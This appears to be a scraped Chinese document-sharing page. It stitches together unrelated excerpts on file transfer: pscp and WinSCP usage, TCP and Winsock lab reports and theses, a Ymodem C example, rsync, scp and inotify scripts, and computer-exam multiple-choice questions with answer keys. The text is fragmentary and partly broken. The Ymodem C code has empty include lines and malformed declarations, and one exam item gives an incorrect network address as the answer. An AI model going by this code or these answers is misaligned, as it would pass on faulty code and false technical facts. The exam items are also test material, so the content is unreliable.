pscp是putty安装包所带的远程文件传输工具,使用和Linux下scp命令相似,具体的使用方法如下: PSCP和SCP功能相同,在windows下使用,只有一个文件,建议将pscp.exe放到C:\WINDOWS\system32下面,这样就可以在任何地方调用了。语法与scp相同,下面是几个有用的options。 -p 拷贝文件的时候保留源文件建立的时间。 -q 执行文件拷贝时,不显示任何提示消息。 -r 拷贝整个目录 -v 拷贝文件时,显示提示信息。 Usage: pscp [options] [user@]host:source target pscp [options] source [source...] [user@]host pscp [options] -ls user@host:filespec 用法: pscp [选项] [用户名@]主机:源文件目标文件 pscp [选项] 源文件[源文件……] [用户名@]主机 pscp [选项] -ls 用户名@主机:文件空间? Options: 选项: -p preserve file attributes 保护文件属性 -q quiet, don't show statistics 安静,不显示统计 -r copy directories recursively 复制子文件夹 -V print version information and exit 显示信息 -v show verbose messages -load sessname Load settings from saved session -load 加载,加载保存节的设定 -P port connect to specified port -P 端口,连接到指定空间端口 -l user connect with specified username -l 用户,用指定的用户连接空间 -pw passw login with specified password -pw 密码,用指定的密码登录空间 -1/-2 强迫ssh 使用的版本 -4 -6 force use of IPv4 or IPv6 -C 打开压缩 -i key 钥匙,证明用的钥匙文件 -batch 关闭交互能力,也许 -unsafe 不安全,允许伺服端取代字符(危险的) 常用的方法: 1、把本地文件file传输到Linux服务器的/root/

计算机网络通信程序设计__TCP文件传输程序

目录 一、实验名称:TCP文件传输程序 2 二、实验要求 2 三、总体规划 2 1、网络传输协议的选择 2 2、TCP协议在VC++中的实现 2 3、传输数据的缓冲问题 3 4、Socket的文件化管理 3 5、数据的串行化问题 4 6、接收数据判断是否传输完毕的方法 4 四、实验运行测试 4 五、心得体会 7 六、程序源代码 7 1、建立服务器侦听套接字的类CListenSocket的定义与实现 7 2、建立数据传输套接字的类CTransSocket的定义与实现 8 3、用于数据串行化的类CSave的定义与实现: 8 4、主对话框CTcpDlg类的定义与实现: 9

七、参考文献 18 一、实验名称:TCP文件传输程序 二、实验要求 1、设计一个应用程序,该应用程序能够实现网络中两台计算机之间传输文件。 2、一个程序既能够建立服务器又能够以终端的形式连接服务器。 3、终端或者服务器既能够发送文件又能够接收文件。 4、传送文件类型应为任何类型,文件大小为任意。 三、总体规划 1、网络传输协议的选择 在TCP/IP协议栈中,有两个高级协议是我们网络应用程序编写者应该了解的,它们"传输控制协议"(Transmission Control Protocol,简称TCP)和"用户数据报协议"(User Datagrm Protocol,简称UDP)。 TCP是面向连接的通信协议,TCP提供两台计算机之间的可靠无错的数据传输。应用程序利用TCP进行通信时,源和目标之间会建立一个虚拟连接。这个连接一但建立,两台计算机之间就可以把数据当作一个双向字节流进行交换。 UDP是无连接通信协议,UDP不保证可靠数据的传输,但能够向若干个目标发送数据,接收发自若干个源的数据。简单地说,如果一个主机向另外一台主机发送

基于Visual C++6.0的点对点文件传输实现

学科分类号:_____08_____ 本科生毕业设计 题目(中文):基于Visual C++6.0的点对点文件传输实现(英文):Design and Realization of Point-to-Point Files Transfer with Visual C++6.0 学生姓名:学号 系部: 专业年级:2 指导教师: 职称:

目录 摘要 .......................................................... I 关键词 ......................................................... I Abstract ....................................................... I Key words ...................................................... I 第一章绪论 .. (1) 1.1 选题背景 (1) 1.2 文件传输的主要方式 (1) 1.3 课题研究意义 (3) 第二章 TCP/IP技术与C/S模式 (4) 2.1 TCP/IP技术 (4) 2.1.1 TCP/IP体系结构 (4) 2.1.2 TCP/IP特点 (5) 2.1.3 TCP/IP传送文件机制 (6) 2.3 客户机/服务器模式 (7) 第三章 Winsock网络程序设计技术 (8) 3.1 Winsock简介 (8) 3.2 Winsock通信机制 (9) 3.3 Winsock编程模型 (11) 3.3.1 建立一个Socket (11) 3.3.2 配置一个Socket (11) 3.3.3 使用Socket (12) 第四章系统方案设计 (14) 4.1B/S 结构与C/S结构的选择 (14) 4.1.1 B/S结构与C/S结构 (14) 4.1.2 C/S模式的采用 (15) 4.2 文件传输协议的比较 (16)

TCP协议实现文件传输

TCP协议实现文件传输 TCP(Transmission Control Protocol)是一种基于连接的协议,用 于在计算机网络中可靠地传输数据。它对数据分割、传输顺序、丢包、拥 塞控制等问题进行了有效的处理。因此,TCP协议非常适合用于文件传输。 1.建立连接: 发送方(客户端)首先向接收方(服务器)发送一个特殊的请求,即SYN包,该请求用于建立连接。服务器收到请求后,向发送方发送一个 SYN-ACK包,确认连接的建立。发送方再发送一个ACK包,确认收到服务 器的确认。这个过程称为三次握手。 2.传输数据: 连接建立后,发送方将文件拆分为数据包,并将其按顺序发送给接收方。接收方根据数据包的顺序将它们重新组装成完整的文件。如果发送方 发送了一个数据包,但没有及时收到接收方的确认,发送方会重新发送该 数据包,以确保数据的可靠传输。通过TCP的拥塞控制机制,它可以根据 网络状况来动态调整发送数据包的速率,确保网络的稳定性。 3.关闭连接: 在文件传输完成后,发送方向接收方发送一个特殊的请求,即FIN包,表示关闭连接。接收方收到FIN包后,向发送方发送一个ACK包进行确认。发送方再发送一个FIN包给接收方,接收方收到后再发送一个ACK包进行 确认。这个过程称为四次挥手。 然而,正是因为TCP协议在可靠性和流量控制方面的强大能力,导致 了它的传输效率相对较低。TCP协议会对每个数据包进行确认和重传,这

样会增加传输的延迟。对于大文件的传输,TCP协议可能会造成网络拥塞,导致传输速度下降。 为了解决这个问题,可以采用一些优化策略,如使用分段传输、窗口 大小调整、数据压缩等技术。此外,还可以使用UDP(User Datagram Protocol)协议实现文件传输。相比TCP,UDP协议不提供可靠性和流控 制机制,但传输速度更快。因此,根据具体的应用场景和需求,可以选择 合适的协议来实现文件传输。 总结起来,TCP协议实现文件传输具有可靠性高的优点,但传输效率 相对较低。在实际应用中,需要通过合适的优化策略来提高传输效率。同时,还可以根据具体需求选择其他协议来实现文件传输。

VB SOCKET 实现文件传输

VB中使用WinSock控件传送文件 传送文件对于网络编程来说是基本的功能,比如远程控制软件。在编制一个软件时,我从网上下了很多传文件的程序,这些程序提供的传文件功能根本就不能用。传文本还可以,传二进制文件根本就不行。因此,作为一个基本的功能模块,有必要单独介绍一下。 首先,在VB中要传送字符串,你可以这样写: Dim strData As String strData = "Test" Winsock1.SendData strData 但是如果你传送的二进制文件,你还能用String变量来存放吗?从理论上分析是不行的,我也做了实验,确实是不行的。文件虽然可以传,但是接受的文件和发送的不一样,原因可能是二进制文件里可以有任何"字符",但是不是所有的字符都可以放在String变量里。 除了String类型的变量,VB中其他类型的变量都只有几个字节长,难道一次只能发几个字节吗?那样岂不是要累死机器了!其实,情况没有那么悲观,我们完全可以使用数组来解决这个问题,就是使用byte

数组。把要传送的文件都读到数组里,然后发送出去。程序如下: FileName 为要传送的文件名,WinS为发送文件的WinSock控件。这是一个发送端的程序。 Public Sub SendFile(FileName As String, WinS As Winsock) Dim FreeF As Integer '空闲的文件号 Dim LenFile As Long '文件的长度 Dim bytData() As Byte '存放数据的数组 FreeF = FreeFile '获得空闲的文件号 Open FileName For Binary As #FreeFile '打开文件DoEvents LenFile = LOF(FreeF) '获得文件长度 ReDim bytData(1 To LenFile) '根据文件长度重新定义数组大小 Get #FreeF, , bytData '把文件读入到数组里 Close #FreeF '关闭文件 WinS.SendData bytData '发送数据 End Sub

winscp命令写法 -回复

winscp命令写法-回复 Winscp命令写法以中括号内的内容为主题,写一篇1500-2000字的文章,一步一步回答。 一、引言 在计算机的日常工作中,我们经常需要在不同的计算机之间进行文件的传输。而Winscp命令正是为了解决这个需求而生的。Winscp是一个用于Windows平台的开源SFTP、SCP和FTP客户端,它提供了简单、直观且易于使用的界面,以及丰富的命令行功能,使得用户可以轻松地在远程服务器上进行文件的上传和下载。本文将详细介绍Winscp命令的使用方法,以帮助读者更好地理解并应用这个强大的工具。 二、Winscp命令的基本语法 在使用Winscp命令之前,我们首先需要了解一些基本的语法规则。Winscp命令的基本语法如下所示:

> winscp [remote-path] [/parameter] [local-path] 其中,winscp是Winscp的可执行文件。[remote-path]代表远程服务器上的文件或目录路径,可以是绝对路径或相对路径。[/parameter]是Winscp命令的命令行参数,用于指定Winscp的具体行为和操作方式。[local-path]代表本地计算机上的文件或目录路径,也可以是绝对路径或相对路径。下面我们将详细介绍Winscp命令的常用参数和具体用法。 三、Winscp命令的常用参数 1. /script 我们可以使用/script参数指定一个保存了Winscp命令的脚本文件,以实现自动化操作。例如,下面的命令将执行一个保存在script.txt文件中的Winscp脚本: > winscp /script=script.txt 在Winscp脚本文件中,我们可以按照指定的格式编写一系列的Winscp命令,用于执行特定的文件传输操作。下面是一个简单的Winscp

公司文件传输系统设计与实现研究

公司文件传输系统设计与实现研究 公司文件传输系统的设计和实现是使得公司内部和外部文件传输更加有效和方便的重要工作。随着信息技术的发展,越来越多的公司将其传输系统升级为电子化系统,在信息安全、可靠性、速度和成本方面有了显著的改善。本文将详细介绍公司文件传输系统的设计与实现。 一、需求分析 在进行文件传输系统的设计与实现前,首先要进行系统需求的详细分析。文件传输系统的需求可以从用户需求、安全需求和技术需求几个方面入手。用户需求是指满足用户实际需求、提高用户的体验,在用户需求方面,用户希望传输系统具有高效、快速、安全、稳定等特点。安全需求是指系统必须保证文件传输的安全性和机密性,确保文件传输不被窃取或泄露。技术需求是指系统应具备先进的技术,以保证系统开发和运行的高效性和可靠性。 二、系统设计 基于需求分析的结果,建立文件传输系统的体系结构,包括:系统的构成要素、系统的功能、系统的处理流程等。通常,文件传输系统由客户端和服务器组成,由于传输系统需要传输大量的文件数据,因此服务器必须配备大容量硬盘和高速网络。在文件传输系统设计中,需要考虑以下几个方面。 1. 系统硬件设计

采用高性能服务器,为传输系统提供充足的存储空间和性能,配备高速网络以保证系统的传输速度。系统硬件设计包括服务器选型、硬盘容量和带宽等。 2. 系统软件设计 系统软件设计包括客户端和服务器端的程序的开发处理。服务器端的程序可以采用C++或Java语言,实现多线程、高并发的处理机制。客户端程序可以采用Java或.NET等多种建设,实现大文件分块上传、断点续传、上传进度提示等功能。客户端程序还可以自动从指定的文件夹中将文件上传到服务器中,无需手动选择文件。 3. 系统安全设计 系统安全设计主要是通过加密和权限控制等方式,保护文件的传输安全性和完整性。方案可以包括SSL/HTTPS协议、传输层协议、安全证书、数字签名和密钥交换等方面的应用来保证传输的机密性、完整性和一致性。 4. 用户界面设计 系统的客户端需要具有友好的、易于使用的用户界面。可以设计一个简单并且清晰的上传面板,磁盘选择面板以及状态提示面板,方便用户使用。 三、系统实现

C语言中的网络通信与协议设计

C语言中的网络通信与协议设计 一、简介 网络通信在现代计算机科学中扮演着重要角色。C语言作为一种高效、灵活且功能强大的编程语言,被广泛用于网络通信与协议设计。本文将探讨C语言中的网络通信相关知识,并介绍网络协议的设计原则和常用协议的实现。 二、网络通信基础 1. IP协议 IP(Internet Protocol)协议是互联网通信中最核心的协议之一。它负责将数据包从源地址传输到目标地址,并且通过IP地址进行寻址。C语言中可以使用套接字(Socket)API来实现IP协议的相关功能。 2. TCP协议 TCP(Transmission Control Protocol)协议是面向连接的、可靠的数据传输协议。它通过建立连接、数据分段、流量控制等机制来确保数据的可靠传输。C语言中提供了用于TCP通信的套接字编程接口,允许程序员方便地进行TCP通信的实现。 3. UDP协议 UDP(User Datagram Protocol)协议是无连接的、不可靠的数据传输协议。相比TCP协议,UDP协议具有更低的开销,适用于对实时性

要求较高而对可靠性要求较低的应用场景。C语言中的套接字API也 支持UDP协议的使用。 三、C语言中的网络编程库 1. BSD套接字库 BSD套接字库是一组C语言函数和数据结构的集合,用于网络编程。它提供了丰富的套接字操作接口,包括创建套接字、绑定地址、监听 连接、发送和接收数据等功能,为开发网络应用提供了便利。 2. libcurl库 libcurl库是常用的网络通信库,支持多种协议(如HTTP、FTP 等)。通过libcurl库,我们可以轻松地进行网络数据的发送和接收, 以及实现高级功能如HTTPS通信和文件传输等。 四、网络协议的设计原则 1. 协议的可扩展性 良好的协议应该具备可扩展性,能够在后续的版本中根据需要添加 新的功能或进行修改,而不会破坏已有功能的兼容性。在C语言中, 可以使用结构体、函数指针等特性来实现协议的可扩展性。 2. 协议的可靠性 协议设计应该考虑数据的可靠性,确保数据能够按照既定的顺序、 条件和时限传输。在C语言中,可以使用校验和、重传机制等技术来 提高数据的可靠性。

ymodem协议 c例程

ymodem协议 c例程 英文回答: Ymodem is a file transfer protocol that is commonly used to transfer files between two devices using a serial connection. It is an improved version of the Xmodem protocol and supports batch file transfers and error checking. Here is an example of a Ymodem protocol C routine: c. #include 。 #include 。 #include 。 #define PACKET_SIZE 1024。

void sendFile(FILE file, int fd) {。 // Ymodem protocol implementation for sending a file. // ... }。 void receiveFile(int fd, FILE file) {。 // Ymodem protocol implementation for receiving a file. // ... }。 int main() {。 FILE file = fopen("example.txt", "rb");

int fd = open("/dev/ttyS0", O_RDWR); // Open serial port for communication. if (file && fd != -1) {。 sendFile(file, fd); receiveFile(fd, file); } else {。 printf("Error opening file or serial port\n"); }。 fclose(file); close(fd); return 0;

Shell脚本编写的高级技巧实现文件同步和数据传输

Shell脚本编写的高级技巧实现文件同步和数 据传输 Shell脚本编写技巧是在自动化任务中非常有用的。在本文中,我们将重点介绍如何使用Shell脚本实现文件同步和数据传输的高级技巧。 通过掌握这些技巧,您可以更加高效地完成文件同步和数据传输的任务。 一、文件同步 1. 使用rsync命令进行文件同步 rsync是一个功能强大的工具,用于在本地或远程系统之间同步文 件和目录。以下是使用rsync命令进行文件同步的示例: ```shell rsync -avz /source/directory/ username@remote_host:/destination/directory/ ``` 其中,-a选项表示使用归档模式同步文件(包括文件的权限、所有 者信息、时间戳等),-v选项表示以详细模式输出同步过程中的信息,-z选项表示在传输过程中进行压缩。您需要将/source/directory/替换为 源目录的路径,将username@remote_host:/destination/directory/替换为 目标目录的路径。 2. 使用inotify-tools实现即时文件同步

inotify-tools是一个用于监控文件系统事件的工具集,可以实现文件的即时同步。以下是使用inotify-tools实现即时文件同步的示例:```shell inotifywait -m /source/directory/ -e create,modify,delete | while read path action file; do rsync -avz $path$file username@remote_host:/destination/directory/ done ``` 在上述示例中,inotifywait命令用于监控/source/directory/中的文件事件,当有文件被创建、修改或删除时,会输出相应的路径、动作和文件名。然后,通过循环读取这些输出,使用rsync命令将变动的文件同步到远程主机。 二、数据传输 1. 使用scp命令进行文件传输 scp命令是基于SSH协议的文件传输工具,可以安全地将文件从一个系统复制到另一个系统。以下是使用scp命令进行文件传输的示例:```shell scp /path/to/local/file username@remote_host:/path/to/remote/file ```

基于tcp协议通信系统的设计与实现

基于TCP协议通信系统的设计与实现 杨秀森 (贵州师范大学机电学院电气工程及其自动化学号:0914********) 摘要:通信协议(communications protocol)是指双方实体完成通信或服务所必须遵循的规则和约定。协议定义了数据单元使用的格式,信息单元应该包含的信息与含义,连接方式,信息发送和接收的时序,从而确保网络中数据顺利地传送到确定的地方。通信的底层通信是通过SOCKET套接字接口实现的。当前的主流UNIX系统和微软的WINDOWS系统都在内核提供了对SOCKET字接口的支持。使用这个统一的接口,可以编写一个可移植的TCP通信程序。 本文设计并实现了基于局域网内的简单即时通信系统,系统采用C/S模式,底层通信通过SOCKET套接字接口实现,服务器负责客户端的登录验证,好友信息的保存和心跳报文的发送。客户端采用P2P方式实现消息传递,并能实现文件的传输。本文首先讨论了同步套接字,异步套接字,多线程并发执行任务等;然后阐述了客户端、服务器如何使用XML序列化的消息进行通信。 关键词:TCP协议;通信协议系统;套接字;文件传输;C/S模式; The System Design and Implementation of Based on TCP Protocol Communication Yang Xiu Sen (Guizhou Normal University Institute of mechanical and electrical engineering and its automation number: 0914********) Abstract: Communication protocol ( communications protocol ) refers to both entities to complete communication or service must follow the rules and conventions. The protocol defines a data unit format, information unit should contain information and meaning, connection mode, information transmission and reception timing, thereby ensuring that the network data smoothly transmitted to determine places. Communication communication is through the SOCKET socket interface implementation. The current mainstream UNIX system and Microsoft WINDOWS system in the kernel provides to SOCKET interface support. Using the unified interface, can be prepared in a transplantable TCP communication program. This paper designed and implemented based on a simple LAN instant communication system, the system adopts C/S model, the underlying communication through the SOCKET socket interface

全国计算机一级考试题库(附答案)-全国计算机等级考试题

全国计算机一级考试题库(附答案) 一选择题: 1微型计算机硬件系统中最核心的部件是()。答案:B A、主板 B、CPU C内存储器D、I/O设备 2.下列术语中,属于显示器性能指标的是()。答案:C A、速度 B、可靠性 C、分辨率 D、精度 3.配置高速缓冲存储器(Cache)是为了解决()。答案:C A、内存与辅助存储器之间速度不匹配问题 B CPU与辅助存储器之间速度不匹配问题 C CPU与内存储器之间速度不匹配问题 D主机与外设之间速度不匹配问题 4.计算机病毒是一种()。 案:C A、特殊的计算机部件 B、游戏软件 C人为编制的特殊程序 D、能传染的生物病毒 5.微型计算机存储系统中,PROM是()。 答案:D A、可读写存储器 B、动态随机存取存储器 C只读存储器 D、可编程只读存储器 6.在计算机领域中通常用MIPS来描述()。答案:A

A、计算机的运算速度 B、计算机的可靠性C计算机的可运行性 D、计算机的可扩充性

7.在Word的编辑状态,单击文档窗口标题栏右侧的按钮后,会()。答 案:D A、将窗口关闭 B、打开一个空白窗口 C使文档窗口独占屏幕D、使当前窗口缩小 &在Word的编辑状态,当前编辑的文档是 C盘中的d1.doc文档,要将该文档拷贝到软盘, 应当使用()。答案:A A '"文件”菜单中的”另存为”命令B、”文件”菜单中的”保存”命令 C ”文件”菜单中的”新建”命令D、”插入”菜单中的命令 9.在Word的编辑状态,文档窗口显示出水平标尺,则当前的视图方式()。答案:A A、一定是普通视图或页面视图方式 B —定是页面视图或大纲视图方式 C 一定是全屏显示视图方式 D—定是全屏显示视图或大纲视图方式 10.在 Word的编辑状态,为文档设置页码,可以使用 ()。答案:D A、”工具"菜单中的命令 B、"编辑”菜单中的命令 C ”格式”菜单中的命令D、”插入”菜单中的命令 11.在Word的编辑状态,当前编辑文档中的字体全是宋体字,选择了一段文字使之成反显 状,先设定了楷体,又设定了仿宋体,则()。 答案:C A、文档全文都是楷体 B、被选择的内容仍为宋体 C被选择的内容变为仿宋体D、文档的全部文字的字体不变 12.在Word的编辑状态,选择了整个表格,执行了表格菜单中的”删除行”命令,

网络练习题(带答案)

计算机网络练习题 一、选择题 1.DNS的中文含义是(A )。 A.域名服务系统 B.服务器系统 C.邮件系统 D.地名系统 2.在Internet上,实现文件传输的协议是(B )。 A. http B. ftp C. www D. hypertext 3.选择操作系统的依据是(A )。 A.安全性和可靠性 B.可使用性 C.可集成性与可扩展性 D.应用和开发支持 4.某台计算机的IP地址为172.56.201.6,子网掩码为25 5.255.255.0,则该计算机的网络地址是(A )。 A.172.15.0.0 B.172.0.0.0 C.172.56.20.16

D.172.56.20.0 5.下列关于OSI模型和TCP/IP模型说法错误的是(C )。 A.OSI模型抽象能力强,适合于描述各种网络 B.OSI模型过于繁杂,实施困难,效率低 C.TCP/IP模型很好地区分了服务、接口和协议 D.TCP/IP模型实用性比OSI模型强 6.如果一个以太网与一个帧中继网互联,应该选择的互联设备是(C )。 A.中继器 B.网桥 C.路由器 D.集线器 7.TCP/IP协议中的TCP是一个典型的跨平台的、支持异构网络的(C )协议。 A.数据链路层 B.网络层 C.传输层 D.会话层 8.关于网络体系结构,正确的是(B )。 A.相邻层实体之间通信要遵循共同的协议 B.各层之间相互独立没有联系 C所有层次之间的通信都是逻辑通信 D.对等层实体之间通信要遵循共同的协议

9.( D )是局域网最主要的拓扑结构。 A.星型 B.总线型 C.环型 D.星型/总线型结构 10.在10BASE-T中任意两节点之间的距离不会超过(C )米。 A.100 B.1000 C.200 D.185 11.使用5类UTP电缆的10BASE-T,一根电缆的最大长度为(C )米。 A.500 B.185 C.100 D.2000 12.下面属于调制解调器的功能的是(D )。 A.资源共享 B.传真功能 C.语音功能 D.数据传输 13.100BASE-2也称细缆以太网,它的最长媒体段为(B )米。 A.500

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